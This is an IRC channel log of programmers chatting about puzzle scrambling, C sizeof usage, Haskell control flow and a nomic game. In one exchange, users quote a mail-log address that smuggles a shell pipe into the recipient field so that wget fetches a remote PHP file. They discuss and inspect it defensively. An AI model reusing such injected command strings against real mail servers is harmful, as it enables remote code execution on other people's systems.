←2010-03-30 2010-03-31 2010-04-01→ ↑2010 ↑all
00:06:53 <Sgeo> Ok, this scrambler is resulting in way too easy results
00:07:56 <oerjan> i think sliding blocks puzzles are solvable iff the permutation is even
00:09:43 <Sgeo> For a 3x3, how many clicks should I be simulating?
00:10:27 <coppro> fizzie: You wrote a BF compiler targeting LLVM?
00:10:48 <coppro> ais523: You missed my wonderful idea for a null value
00:11:01 <ais523> coppro: what was it?
00:11:50 <fizzie> coppro: You can't really call it a compiler, it's so utterly trivial. It's pretty much like the usual straightforward bf -> C translation, except that it's to LLVM's assembler.
00:12:04 <coppro> fizzie: like the one in the LLVM examples?
00:12:07 <Sgeo> I'm starting to think it's a bug in the code rather than a not-so-helpful randomizer
00:12:26 <oerjan> Sgeo: do a total scrambling, like with knuth's algorithm, but count the number of swaps done and if it is odd, do an extra one. i think.
00:12:28 <coppro> ais523: A type system that takes intersection types up to the maximum, allowing a single value to actually have multiple types, each which is discrete and has its own data; a nullable Integer would then be a {Nil^Integer}; that is, a value of Integer or Nil type, but not both
00:12:46 <ais523> coppro: that's what Haskell does, with Maybe
00:12:58 <coppro> ais523: No, it's crazier than that
00:12:59 <oerjan> http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle
00:13:13 <ais523> well, it's a case of disjoint unions
00:13:18 <ais523> oerjan: it's not a case of swaps, IIRC
00:13:23 <ais523> it's a case of pairs that are out-of-order
00:13:30 <ais523> but I can't remember exactly how it works
00:13:40 <Sgeo> meh'
00:13:48 <fizzie> coppro: Oh, there's one there? I didn't know.
00:14:13 <coppro> fizzie: examples/BrainF in the main distrubution
00:14:20 <oerjan> ais523: um i assume those are just two equivalent ways of detecting whether a permutation is odd or even
00:14:41 <ais523> oerjan: no, because you can swap a number with a blank space without problems, sometimes
00:15:01 <coppro> ais523: the idea rose out of the fact that some structures are tough to represent accurately in code; do you know Magic: the Gathering?
00:15:08 <oerjan> ais523: erm i am assuming the blank space stays put here. i am talking about swaps of the other pieces.
00:15:33 <ais523> coppro: yes, I do; I even played it competitively for a while
00:15:33 <Sgeo> I think this is good enough. There is a bug stopping the randomizer from starting when the puzzle first starts
00:15:35 <fizzie> I'll have to sneak a peek when I don't have a cat obstructing the computer.
00:15:40 <ais523> but got bored when time spiral rotated out
00:16:46 <coppro> ais523: ah, good. Then you'll understand the thinking that led me to this. If you're representing a Magic card, not all information is applicable to all types of Magic card. For instance, only creatures have power and toughness, and only creatures have creature types, only lands have land types, and so on
00:17:08 <Sgeo> Ok, this is "too easy" territory
00:17:15 <ais523> coppro: that line's getting more and more blurred as time goes on, but I know what you mean
00:18:05 <coppro> ais523: Yeah, and that's the tricky bit. There are cards with multiple types, so a creature land should have both land types and creature types. It turns out this is really difficult to represent nicely in a programming language
00:18:36 <ais523> no, no it isn't
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00:18:46 <coppro> how would you do it?
00:18:46 <ais523> object-oriented with mixins? Perl6-style, with roles?
00:18:55 <ais523> lua-style, and just use the fields you need?
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00:19:14 <ais523> really, it's trivial in any sane OO system, except ones that specifically try to stop you, like Java's and Python's
00:19:34 <coppro> those provide interfaces, but not data
00:19:52 <ais523> coppro: those create classes; the data would be in an instantiation of those
00:20:04 <ais523> the class may or may not itself be an object, depending on the language
00:20:18 <ais523> (it wouldn't be in Perl6 or C++, it would be in Lua, JS and Feather)
00:20:25 <Sgeo> Stop you from doing what?
00:20:26 <coppro> yeah
00:20:37 <ais523> Sgeo: implementing mixins, etc
00:20:54 <Sgeo> Ruby has mixins >.>
00:20:55 <ais523> perl6/Moose has roles, C++ has multiple inheritance
00:21:17 <ais523> and there'll probably be some way to do that sort of thing in Feather, although single inheritance is easier there than multipl
00:21:20 <ais523> *multiple
00:21:23 <coppro> none of that does quite what I want, it's sort of hard to express
00:21:45 <ais523> coppro: it's powerful enough to represent a M:tG card, though, which is what you originally wanted
00:21:46 <coppro> the closest I can think of is C++'s virtual inheritance, but that's a horrible mess
00:22:04 <coppro> ais523: A C program is powerful enough; that doesn't make it easy
00:22:24 <ais523> coppro: powerful enough without massively distorting what you're doing, type-wise or code-wise
00:23:04 <coppro> ais523: For instance, in C++, you'd have to have a Creature type and a Land type virtually derived from Card, and then have a CreatureLand type derived from both; this is hideous
00:23:21 <ais523> coppro: C++ is generally hideous
00:23:27 <coppro> agreed
00:23:44 <ais523> in Perl6, you'd have a class Card, and an instance of it with Creature and Land roles applied
00:24:17 <coppro> Perl6's roles are closest to what I want, but not quite there yet
00:25:21 <coppro> since they exist apart from classes
00:25:41 <ais523> you can create classes with roles in too, if you want to
00:25:44 <Sgeo> The scramber seems to be unwilling to touch the bottom row
00:25:51 <Sgeo> That's probably why these results are too easyt
00:25:54 <coppro> yes, but you can't create something that is both a role and a class
00:25:59 <ais523> but then you wouldn't be able to write fun code like "my $file_not_found = true but False;"
00:27:26 <coppro> heh
00:28:23 <ais523> true but False is like true in every respect, except for being false
00:28:26 <ais523> hmm, you can do that in Feather too
00:28:55 <ais523> except that you'd have to decide whether the value itself was truth or falsity
00:32:10 <Sgeo> What happens if I swap two random pieces an even number of times?
00:32:10 <coppro> yeah, my imaginary system would have such similarities
00:33:11 <coppro> except that truthiness and falsehood would not be arole
00:33:31 <oerjan> Sgeo: should work
00:34:16 <Sgeo> Would it result in more difficult puzzles than simulating clicks n times seem to?
00:34:54 <oerjan> "The invariant is the parity of permutations of all 16 squares (15 pieces plus empty square) plus the parity of the taxicab distance moved by the empty square."
00:35:28 <oerjan> (should be the same for all sizes m*n with m,n>=2, by the rest of the section
00:35:31 <oerjan> )
00:35:39 * Sgeo is already lost
00:35:57 <oerjan> parity of permutations is whether you make an even or odd number of swaps
00:36:22 <oerjan> the parity of the taxicab distance is whether x+y is odd or even
00:36:50 <oerjan> "For the 15-puzzle, lengths of optimal solutions range from 0 to 80 moves; the 8-puzzle can be solved in 31 moves or fewer (integer sequence A087725)."
00:37:43 <coppro> ais523: Think of it as roles, except every class is a role, I think
00:37:45 <oerjan> so if you were doing it by clicks, you'd need at least on the order of 31 clicks to get full difficulty, i take
00:38:16 * Sgeo tries it
00:38:49 * Sgeo listens to the Elfen Lied theme "Lilium"
00:39:48 <Sgeo> 31 is too many for the application to process without being able to get events. Too long without aw_wait(), and it disconnects
00:40:08 <Sgeo> I _think_
00:40:34 <Sgeo> Well, I know that's the case that that can be an issue, but maybe something else is going on instead. Need to look up the error
00:40:46 <oerjan> well, do a fisher-yates shuffle then
00:41:07 <Sgeo> Oh, it's doing too many things at once
00:41:19 <Sgeo> I'll slow it down and see what happens
00:41:37 <Sgeo> Actually, it _still_ resulted in a too easy puzzle
00:41:59 <oerjan> maybe the 8-puzzle simply is too small to _be_ hard
00:42:24 <Sgeo> oerjan, hard for _me_ in particular
00:42:39 <Sgeo> It shouldn't be a trivial 3 or 4 clicks away
00:43:15 <oerjan> if you are doing random clicks, maybe most of them are forbidden moves?
00:43:20 <oerjan> so no effect
00:43:32 <Sgeo> No. It's set up to do only good moves
00:43:38 <Sgeo> Random good moves
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00:43:53 <Sgeo> But there's currently nothing blocking it from clicking, then reversing what it just did
00:43:56 <Sgeo> Maybe I should try thatr
00:44:01 <oerjan> right
00:51:57 * Sgeo also gives it some breathing room
00:58:02 <Sgeo> The breathing room I gave it means you can actually watch the scrambling take place
00:58:05 * Sgeo needs to go soon
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01:12:51 * Sgeo still gets occasional too-easy results
01:14:21 * Sgeo still needs to go soon, and has no time to think about it
01:15:28 <Sgeo> I still don't get how you'd use fisher-yates to scramble something like this. It's a 2-dimesonal list
01:16:17 <oerjan> um you don't know how to treat a 2-dimensional list as 1-dimensional for scrambling purposes?
01:16:44 <Sgeo> When you put it like that, I can figure it out >.>
01:17:47 <Sgeo> Actually, I have code that I think does that for normal lists
01:18:30 <oerjan> you need to keep track of the parity though
01:18:33 <Sgeo> Actually, not quite
01:18:55 <Sgeo> Yeah, how do I do that?
01:19:46 <oerjan> if you are not swapping the blank, then it's just a matter of noting whenever you swap two items
01:19:59 <oerjan> (the blank needs special treatment, apparently)
01:20:23 <Sgeo> g2g
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03:39:49 <oerjan> freefall XD
03:44:11 <pikhq> XD
03:46:50 <Quadrescence> XD
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04:27:43 <pikhq> X and D
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04:56:48 <coppro> someone save me
04:56:52 <coppro> I'm reading /. comments
04:56:59 <coppro> on global warming
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13:58:59 <ais523> <reddit> submitted 578 milliseconds ago
13:59:07 <ais523> is that an in-joke if you happen to load the page right after a submission?
13:59:12 <ais523> it seems rather ridiculously precise
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14:12:10 <AnMaster> heh
14:12:32 <AnMaster> ais523, more likely just using a generic time span formatting function
14:12:43 <ais523> maybe
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15:51:14 <AnMaster> ais523, there? I'm having some problems understanding some C code I have written. To begin with: all C compilers seem to accept it, but a static analyser ("sparse", developed by linux kernel developers, but useful for userland apps too) complains about it. And I have to agree with it.
15:51:16 <AnMaster> list = (ipList*)realloc(*me, sizeof(ipList) + sizeof(instructionPointer[(*me)->size + ALLOCCHUNKSIZE]));
15:51:18 <AnMaster> is the line
15:51:30 <ais523> hmm, let me look
15:51:31 <AnMaster> it says "cannot size expression"
15:51:40 <AnMaster> and that code does seem to use sizeof() strangely
15:51:41 <ais523> sizeof an array element looks really weird
15:51:48 <ais523> assuming instructionPointer is an array there
15:52:00 <ais523> why wouldn't you just write sizeof(*instructionPointer)?
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15:52:09 <AnMaster> I'm trying to find where instructionPointer is
15:52:14 <ais523> OTOH, that makes more sense if instructionPointer is a typedef
15:52:28 <ais523> in which case, it would be valid in C99 but not C89
15:52:32 <AnMaster> ais523, it *is* a typedef
15:52:39 <ais523> because you can take the size of a hypothetical VLA, but only if the lang supports VLAs
15:52:41 <AnMaster> but it still doesn't make much sense
15:52:50 <AnMaster> aha
15:53:27 <ais523> also, casting the return value of realloc just masks bugs, by getting compilers to shut up if you use the wrong type (for realloc) rather than complaining
15:53:33 <ais523> you only do it in C++
15:53:39 <AnMaster> ais523, that iplist that I realloc is a struct with a "dynamic" array element at the end
15:53:52 <AnMaster> (C99 introduced that)
15:54:03 <AnMaster> but I'm still not quite sure what I'm trying to do there
15:54:06 <ais523> AnMaster: yep, and in C99 the flexible element counts 0 towards the size
15:54:11 <AnMaster> ais523, indeed
15:54:18 <AnMaster> but why the sizeof of an array!?
15:54:36 <ais523> AnMaster: because, the end of the struct has to be the right size
15:54:43 <AnMaster> true
15:54:58 <AnMaster> but why not sizeof type multiplied with number of elements?
15:55:23 <ais523> the C89 equivalent would be list = (ipList*)realloc(*me, sizeof ipList + ((*me)->size + ALLOCCHUNKSIZE) * sizeof (instructionPointer)));
15:55:35 <AnMaster> mmm
15:55:43 <ais523> sizeof type * number of elements is probably more portable
15:55:53 <ais523> although in C89, you'd have to use the struct hack rather than relying on a flexible array member
15:56:46 <AnMaster> I don't care about C89 compat though. There are enough large-enough-subset-of-C99-at-least compilers out there
15:57:31 <ais523> writing that line C89-style would be quite a bit /clearer/, though
15:57:37 <AnMaster> (gcc, icc, clang, open64 (though that one iirc reuses code from the gcc frontend), ...)
15:57:39 <ais523> hypothetical VLAs are just confusing to read
15:57:46 <AnMaster> true
15:57:52 <AnMaster> ais523, what about padding?
15:58:11 <ais523> AnMaster: arrays aren't padded, and struct padding is taken into account in the first sizeof
15:58:17 <AnMaster> hm true
15:58:49 <AnMaster> ais523, now I wonder if, true to gcc's usual stupidity, it will in fact create and then discard such a VLA there
15:59:18 <ais523> it's unlikely, it would probably be noticed by the backend even if the frontend didn't catch it
15:59:27 <AnMaster> hopefully
15:59:41 <ais523> dead code elimination's impossible to do perfectly in theory, but dead variable elimination is noticed by the SSA stage
15:59:47 <ais523> and even if it wasn't, would be noticed in register allocation
16:00:02 <ais523> although, who knows what contortions gcc goes through to make VLAs work
16:00:14 <AnMaster> ais523, I think they are done with alloca()
16:00:15 <AnMaster> iirc
16:00:33 <ais523> no, alloca and VLAs work differently to each other
16:00:40 <ais523> in fact, there's a big warning that they don't mix somewher
16:00:43 <ais523> *somewhere
16:00:58 <ais523> as they both use different notions of scope, and processors don't have the INTERCAL thing where scopes are pretty much independent
16:02:27 <AnMaster> haha
16:06:08 <AnMaster> hm it seems sparse dislike VLAs completely
16:07:20 <ais523> if it's designed for the kernel, I'm not surprised
16:07:37 <AnMaster> ais523, It used to not error out on them though
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16:07:53 * AnMaster finds it funny that it warns about using 0 as NULL
16:08:59 <fizzie> I like the unadorned 0s more than NULL personally.
16:09:51 <AnMaster> fizzie, I actually prefer using NULL (makes it clear it is a pointer, easier to read the code), but I'm not going to change this instance since it is in output generated by gperf
16:11:45 <AnMaster> hah, it warns "warning: potentially expensive pointer subtraction" when you substract two pointers if the types of those pointers are not a power of two
16:12:42 <fizzie> And yes, I'd write count*sizeof(element) up there, that's the usual thing in array-mallocs and so on.
16:13:38 <AnMaster> true
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16:14:37 <fizzie> Recently seen in mailserver logs: someone tried to send email to "root+:|wget http://fortunes.in/x1x.php@zem.fi".
16:15:36 <AnMaster> uhu
16:15:45 <AnMaster> +:| ?
16:16:17 <AnMaster> looks like a weird smiley. What sort of special meanings could those be thought to have?
16:16:53 <fizzie> + is reasonably common as user+ext@domain, to let users create "sub-addresses" freely.
16:17:17 <AnMaster> and the : ?
16:17:47 <fizzie> And of course |foo runs foo in a shell in quite many contexts. The : I'm not sure of.
16:18:07 <AnMaster> mhm
16:18:33 <fizzie> I'm sure it does something special somewhere, though, otherwise they wouldn't bother trying.
16:18:42 <AnMaster> true
16:18:54 <AnMaster> fizzie, sure it didn't work on your system? ;)
16:19:44 <fizzie> Postfix logs at least just had an "invalid address extension" error message.
16:22:58 <AnMaster> mhm
16:26:27 <Ilari> What it is even trying to pipe to wget? Presumably it intends to upload something sensitive (or clog something with pipe)...
16:27:57 <AnMaster> or download something?
16:28:18 <Ilari> What does wget even do with stdin?
16:29:17 <AnMaster> maybe there isn't a way to do whatever it is without piping? Or the | doesn't mean pipe in this case
16:29:28 <Ilari> Yeah, maybe it is trying to download x1x.php...
16:30:03 <AnMaster> I don't recommend doing it, who knows what it is
16:31:17 <Ilari> Maybe try grabbing that file for analysis?
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16:32:37 <AnMaster> Ilari, I'm not very interested in it really, and I don't want to run into problems if it is, for example, exploiting a bug in wget.
16:32:59 <AnMaster> and I don't have any virtual machines handy atm
16:33:24 <Ilari> AnMaster: Use telnet to send request and record the stream?
16:34:17 <Ilari> AnMaster: Or netcat...
16:34:34 <AnMaster> why don't you do it? ;P
16:40:45 <Ilari> I don't know if it requires some headers, but ncing gets '4<lineend>xxx<lineend><lineend>0<lineend><lineend>' (chunked encoding). The headers don't seem to contain anything special...
16:42:15 <AnMaster> mhm
16:42:36 <AnMaster> Ilari, no binary data that isn't visible when output to terminal?
16:43:17 <AnMaster> Ilari, also I hope you changed the bit after @
16:44:27 <Ilari> I dropped it as its presumably not part of URL.
16:44:36 <AnMaster> mhm
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16:44:56 <AnMaster> Ilari, you are probably correct there.
16:45:35 <Ilari> Attempt to "bug" the mail? I dumped the stream as hexadecimal. All characters are either ascii printable, CR or LF.
16:48:06 <Ilari> fizzie: If its indeed bugged, you may get some extra spam to that account. Sorry. :-)
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16:51:04 <Ilari> fizzie: But hey, its root@, so it should aready be extra-roasty with spam. :->
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18:41:31 <ehirdiphone> Wowz.
18:42:39 <fax> hhi!
18:45:44 <fax> ehirdiphone
18:47:35 <ehirdiphone> Yyyyyo
18:47:38 <fax> suup
18:47:45 <fax> everyone has everything, so no one wants anything
18:47:49 <ehirdiphone> In the I
18:47:52 <fax> everyone has everyone so that no one has no one!
18:48:02 <ehirdiphone> inner circle of hell
18:48:04 <fax> We're not too stupid and we're not too bright, to be a gamma is to be just right!
18:48:10 <ehirdiphone> I speaketh
18:51:58 <fax> ehirdiphone: take some soma
18:52:37 <lament> this channel sucks.
18:52:40 * lament hangs himself
18:52:53 <ehirdiphone> lament: Please do!
18:53:14 <fax> lament, maybe you should go to the reconditioning center!
18:53:45 <lament> too late, i'm dead!
18:53:48 <ehirdiphone> Maybe you should stop being so fucking cheerful!
18:53:52 <fax> was and will make me ill, I take a gram and there I am!
18:53:56 <ehirdiphone> fax that is
18:54:50 <ehirdiphone> I am, after all, in the prescense of Dark forces.
18:55:02 <fax> ehirdiphone - you've not read brave new world?
18:56:32 <ehirdiphone> I am joking of course
18:56:55 <ehirdiphone> — but it is not the perfect time when mine is so limited :P
18:57:06 <fax> huh?
18:58:31 <ehirdiphone> I am in the Realm of hell — you know; There.
18:59:04 <fax> ehirdiphone that's why I was referencing brave new world.. seems to have been totally lost on you thouhg
19:00:16 <fax> bbl
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19:09:14 <fax> b
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19:23:12 <ehirdiphone> Nineteen Eighty-Four would be more apropos.
19:24:29 <fax> :(
19:29:39 <ehirdiphone> Well, it is true, as better as Huxley's dystopia was.
19:29:57 <lament> brave new world is a dystopia?
19:31:00 <ehirdiphone> You didn't notice? :£
19:31:04 <ehirdiphone> *:)
19:31:25 <lament> seemed like utopia to me...
19:31:54 <ehirdiphone> You would like to live there?
19:32:12 <lament> what's that to do with anything?
19:32:38 <ehirdiphone> I suppose I could grant utopia and dystopia as different forms of the same thing, the former more insidious.
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19:32:50 <ehirdiphone> But that isn't the common use.
19:33:04 <lament> well how is it a dystopia?
19:33:20 <ehirdiphone> "It Sucks."
19:33:27 <lament> how does it suck?
19:33:46 <ehirdiphone> Well, that's mere taste.
19:34:20 <lament> ok so you think it's a dystopia and i don't, what's the problem
19:34:40 <fax> hello
19:34:53 <ehirdiphone> lament: Nothing.
19:34:58 <lament> k
19:35:16 <ehirdiphone> fax: Jhellok
19:35:22 <fax> it's obviously a dystopia :|
19:35:40 <lament> how so?
19:35:45 <ehirdiphone> lament is crazy though :)
19:35:52 <fax> he just likes the idea of lots of drugs
19:36:01 <lament> what makes it a dystopia?
19:36:04 <lament> aren't people happy?
19:36:08 <fax> no
19:36:15 <lament> yes they are
19:36:23 <ehirdiphone> On a base level
19:36:28 <ehirdiphone> Intelevtually?
19:36:31 <ehirdiphone> lec
19:36:31 <lament> that wasn't even a question. that was a statement, disguised as a question.
19:37:22 <ehirdiphone> "RHETORIC" ability unlocked!
19:37:29 <fax> hehe
19:37:31 <Sgeo> Hi ehirdiphone
19:39:00 * Sgeo is considering doing some Google Summer of Code stuff
19:39:26 <ehirdiphone> I hear it pays quite handily.
19:39:46 <coppro> it does
19:39:53 <coppro> btw nick
19:39:59 <fax> I hate summer of code
19:40:13 <Sgeo> fax, why?
19:40:33 <fax> I did lots of work on something that happened to be a summer of code project and this idiot just used it for a shitty version which he got paid for
19:42:12 <fax> death is perfect death is fun, death is good for everyone.
19:42:44 <ehirdiphone> coppro: Lazy
19:43:04 <coppro> fair enough
19:43:18 <coppro> did you read the link I sent you (you too, Sgeo)? It's vital to confusing Agora
19:43:32 <ehirdiphone> Oh? What link?
19:43:54 <Sgeo> Um, I think I skimmed it. Either that, or assumed that it was just a CFJ
19:44:04 <coppro> the pastebin
19:44:08 <ehirdiphone> I have not checked email here.
19:44:17 <ehirdiphone> Unit, remember.
19:44:21 <ehirdiphone> iPhone.
19:44:23 <coppro> oh, right
19:44:30 <coppro> ok, do it when you get home or something
19:44:37 <coppro> I just need to make sure every Agoran player clicks that link
19:45:05 <ehirdiphone> All right — tomorrow then, or if I'm sleepy the day after.
19:45:19 <ehirdiphone> coppro: Then I am wary!
19:45:27 <ehirdiphone> And so will be ais.
19:45:47 <coppro> ais has read it
19:46:30 <ehirdiphone> Oh, also: I will be here on Monday too — not here here but not at here, the unit.
19:47:19 <ehirdiphone> coppro: Tell me what it says: and if I approve of the antics I will visit the page.
19:47:58 <coppro> ehirdiphone: it's public forum antics.
19:48:05 <coppro> err, public message antics
19:48:20 <ehirdiphone> That is rather less precise than I desire.
19:48:20 <coppro> http://paste.debian.net/66733/
19:48:40 <ehirdiphone> Nope; not that easily. Paste it in /msg?
19:48:59 <coppro> won't work
19:49:08 <coppro> at least, I don't want to confuse things even further
19:49:16 <coppro> even I have limits
19:49:24 <ehirdiphone> Then reword it.
19:50:05 -!- kar8nga has quit (Remote host closed the connection).
19:50:44 <coppro> just visit it on the weekend or something
19:51:01 <ehirdiphone> Oh, hell; Agora is none of my business. I haven't the time to play it. I should click.
19:51:09 <ehirdiphone> But you are being evasive.
19:51:10 -!- charlesq__ has joined.
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19:51:35 -!- charlls has quit (Read error: Connection reset by peer).
19:51:38 <Sgeo> ehirdiphone, the antics are of whether a message linked to by something that's a public message is a public message
19:51:41 <Sgeo> Or something like that
19:51:42 -!- charlls has joined.
19:51:59 <coppro> yeah
19:52:03 <ehirdiphone> What happens in the pasted message?
19:52:10 <coppro> I try to make the paste a public message
19:52:11 <Sgeo> coppro makes a proposal
19:52:14 <coppro> and submit a proposal
19:52:27 <coppro> the rest of the antics are in the message that linked the proposal, but that one's definitely public
19:52:32 <Sgeo> Which is withdrawn in a known-to-be-public area
19:52:41 <ehirdiphone> Okay; link me.
19:52:52 <coppro> >http://paste.debian.net/66733/
19:53:00 <coppro> (it also contains a rather lame attempt at paradox)
19:53:33 <ehirdiphone> Visited.
19:53:56 <coppro> ok, thanks
19:54:12 <ehirdiphone> Man, everyone here is crazy.
19:54:18 <coppro> yes
19:54:30 <ehirdiphone> — here, not #esoteric
19:54:55 <coppro> oh
19:55:44 <ehirdiphone> I am not allowed to be using the Internet incidentally. It's Health And Safety Policy — not that anyone has noticed.
19:56:53 <coppro> fun
19:57:12 <coppro> I got to do something amusing today
19:57:52 <coppro> a tech support guy was coming in, and told me that he needed someone 18 in the house for legal reasons. I rescheduled the appointment to next week, hopefully it'll be the same guy :)
19:59:21 * Sgeo watches himself waste time while he should be working
20:00:14 <fax> ehirdiphone don't get yourself in trouble
20:01:14 <ehirdiphone> Nah
20:01:17 <ehirdiphone> The proposed traits feature would bring "horizontal reuse" to the language; think of traits as a PHPish answer to multiple inheritance or Java's interfaces.
20:01:19 <ehirdiphone> Lollll
20:02:20 <coppro> whee
20:03:46 <Sgeo> Is there a point to Interfaces in a dynamically typed language?
20:03:55 <ehirdiphone> It's a smalltalk feature
20:04:08 <ehirdiphone> Bye; gtg
20:04:11 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info).
20:04:11 <Sgeo> bye
20:08:52 -!- cal153 has joined.
20:14:15 <ais523> happy australian mailing list reminders day!
20:14:22 <fax> lament they don't have poetry in brave new world
20:29:10 <Sgeo> I'm not in Australia, and I got a reminder for the backup lists
20:29:17 <Sgeo> Or is the backup list in Austrailia?
20:29:19 -!- rapido has joined.
20:29:23 <Sgeo> Oh, yes
20:39:55 -!- oerjan has joined.
20:54:58 <lament> fax: poetry sucks
20:56:46 <oerjan> if you want big bucks
21:01:24 -!- Tritonio_GR has joined.
21:05:37 -!- augur has quit (Ping timeout: 240 seconds).
21:08:41 <lament> you should drive trucks???
21:10:33 * Sgeo should write some Haskell.. thingy for FLogic
21:10:48 <oerjan> and pretend to be rubber ducks
21:11:31 -!- hiato has quit (Quit: underflow).
21:12:56 <fax> what's flogic
21:13:06 <Sgeo> data FValue = Frue | Talse | Floyd deriving (Show)
21:13:12 <fax> Floyd??
21:13:12 <Sgeo> fax, ftp://ftp.nvg.ntnu.no/pub/frc/29
21:13:29 <Sgeo> fax, oerjan should know
21:13:37 <oerjan> oh that one
21:14:29 <fax> http://i.imgur.com/ZIyam.png
21:16:03 <oerjan> that's clearly cyber-bullying in the picture
21:16:10 <oerjan> from causing too many headdesks
21:16:15 <fax> :D
21:16:58 <coppro> wow, I need to write another fantasy rule
21:18:29 -!- augur has joined.
21:18:59 <fax> is this whole channel just a big game of "agora" and I'm the dice?
21:19:07 <Sgeo> It's possible to right fully-imperitive code in Haskell, right?
21:19:11 <fax> yes
21:19:35 <Sgeo> What constructs of imperitive languages would need to be written by the programmer though? when -> if and forM_ -> foreach
21:20:02 <Sgeo> How would you do a while?
21:20:49 <fax> bool true false True = true
21:20:55 <fax> bool true false False = false
21:21:44 <Sgeo> That would be an awkward to use if/else I think
21:21:44 <fax> while condition body = condition >>= bool (body >> while body) (return ())
21:21:50 <fax> no
21:21:53 <fax> if/then/else is awkward
21:21:55 <fax> bool is not
21:22:23 <fax> the whole idea of if/then/else is to just to be more 'familiar' or something stupid thing like that, it is a mistake to have added this to haskell
21:22:24 * Sgeo likes the thought of being able to use Haskell for all his imperitive needs
21:22:58 <Deewiant> while b x = b >>= flip when (x >> while b x)
21:23:06 <fax> it's called a fold by the way
21:24:47 * Sgeo is already confused
21:25:37 <ais523> FValue has fewer than 9 possibilities, so it fails
21:26:00 <Deewiant> while b x = do cond <- b; when cond (do x; while b x)
21:26:09 <fax> Sgeo about what
21:26:22 <oerjan> while condition body = do c <- condition; if c then do body; while condition body else return ()
21:26:46 -!- Azstal has joined.
21:26:47 <Sgeo> Ok, those make more sense to me
21:26:53 <fax> than what
21:27:00 <oerjan> they're all equivalent of course
21:27:11 <fax> I don't get why people rewrote them
21:27:49 <fax> I had a mistake in mine
21:27:52 <oerjan> fax: because if _is_ familiar and i thought it _would_ help Sgeo to see while written using it.
21:28:02 <fax> while condition body = condition >>= bool (body >> while condition body) (return ())
21:28:16 <fax> I really hate if/then/else it's so out of place
21:28:53 -!- Asztal has quit (Ping timeout: 265 seconds).
21:28:55 -!- Azstal has changed nick to Asztal.
21:29:27 <Sgeo> Is there a point to forM_/mapM_ outside of the IO and ST monads?
21:29:33 <Sgeo> and State
21:29:52 <Deewiant> Writer
21:29:57 <Deewiant> RWS
21:30:00 <Sgeo> RWS?
21:30:19 <Deewiant> newtype RWS r w s a = RWS {runRWS :: r -> s -> (a, s, w)}
21:30:24 <Sgeo> Maybe if a Nothing occurs in a forM_ in the Maybe monad, the whole thing is nothing
21:30:24 <Sgeo> ?
21:30:29 <Sgeo> Or am I mistaken?
21:30:58 <oerjan> Sgeo: all except Reader, i think (and that one only because it cannot pass side effects _out_)
21:31:02 <Deewiant> Yeah, I suppose it could be used like that
21:31:09 <oerjan> oh Maybe too i guess
21:31:13 <Deewiant> Either, of course
21:31:20 <Deewiant> Maybe a bit more usefully than Maybe
21:31:30 <Sgeo> What about []?
21:32:11 <Deewiant> Well, you get back a list of ()
21:32:13 <oerjan> Sgeo: oh and yeah Maybe forM_ can at least distinguish between Nothing and Just () for the reason you said
21:33:29 <oerjan> i guess forM_ for [] is useless...
21:33:52 <oerjan> well you get a list of ()'s, don't you
21:34:00 <Deewiant> You can apply length to the result and get a complicatedly-calculated integer
21:34:47 <Deewiant> length . mapM_ (\x -> [x,x]) is equivalent to (^2) . length
21:34:48 <oerjan> however, the same can be done with Writer (Sum Integer) iirc
21:34:49 <Deewiant> I think
21:36:07 <Sgeo> "If an FStatement ends with the same three words
21:36:07 <Sgeo> as another FStatement, then either both are
21:36:07 <Sgeo> Floyd, or one has the FValue Talse and the
21:36:07 <Sgeo> other has the FValue Frue."
21:36:11 <Sgeo> That's mind-breaking
21:36:33 <Deewiant> Er, (2^), not (^2), obviously
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21:51:07 <Sgeo> Can I make an operator (+) in Haskell?
21:51:15 <Sgeo> ((+)) = --whatever?
21:51:28 <oerjan> well (+) is already defined
21:52:15 <oerjan> you can (1) hide the usual definition and replace with your own, or (2) implement the Num class in which (+) is a method for your own type
21:52:25 <Sgeo> But I'm asking for ((+))
21:52:31 <oerjan> oh
21:52:40 <Sgeo> Frue (+) Talse
21:52:43 <Sgeo> For instance
21:52:45 <fax> no
21:53:03 <oerjan> no, (+) always means the function underlying the operator +
21:53:20 <oerjan> (or \x y -> x+y)
21:53:54 <oerjan> put another way, ( and ) are not legal operator characters
21:53:59 <Sgeo> Darn
21:54:14 <Sgeo> Maybe I could call it <+>
21:54:30 <oerjan> yeah that's a legal operator
21:54:44 <oerjan> in fact i think it's also defined somewhere
21:54:49 <lament> a legal operator named sue
21:54:49 -!- Sgeo has set topic: !.
21:54:51 <Sgeo> GAH
21:54:52 <Sgeo> Oops
21:54:58 -!- fax has set topic: < Sgeo> GAH.
21:55:15 -!- lament has set topic: This topic is correct today, but will be incorrect tomorrow..
21:55:17 <Sgeo> WTF did I press in XChat to cause that?
21:55:34 -!- Deewiant has set topic: this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:55:46 <oerjan> Control.Arrow (<+>) :: ArrowPlus a => a b c -> a b c -> a b c
21:56:28 <oerjan> hoogle lists another one related to pretty printing
21:56:33 <Gregor> Deewiant: Actually, that topic will never be correct.
21:56:37 -!- rapido has quit (Quit: rapido).
21:56:53 <Deewiant> Gregor: It's not mine, it's the previous one.
21:57:09 <Gregor> Previous-poster: Actually, that topic will never be correct.
21:57:16 <Sgeo> What derivings should I make for FValues?
21:57:18 <Deewiant> Gregor: You want ais523
21:57:20 <Sgeo> Show, but anythign else?
21:57:25 <Gregor> ais523: Actually, that topic will never be correct.
21:57:39 <ais523> Gregor: it was paradoxical the day it was created
21:57:43 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:57:59 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: today | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:58:09 <ais523> I think, maybe not
21:58:14 <Sgeo> Actually, === and (+) were defined in an INVALID rule
21:58:16 <Sgeo> So yeah
21:58:18 -!- oerjan has set topic: This topic was incorrect yesterday but is correct today | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:58:23 <ais523> I'm willing to believe it was just wrong
22:14:56 * Sgeo hopes he got the recursive logic right
22:15:13 <fax> ?
22:15:42 <Sgeo> To find the positions of a certain value in a list
22:16:04 <fax> -_-
22:16:19 <oerjan> all the positions or just the first one?
22:16:22 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24560#a24560
22:16:23 <Sgeo> All
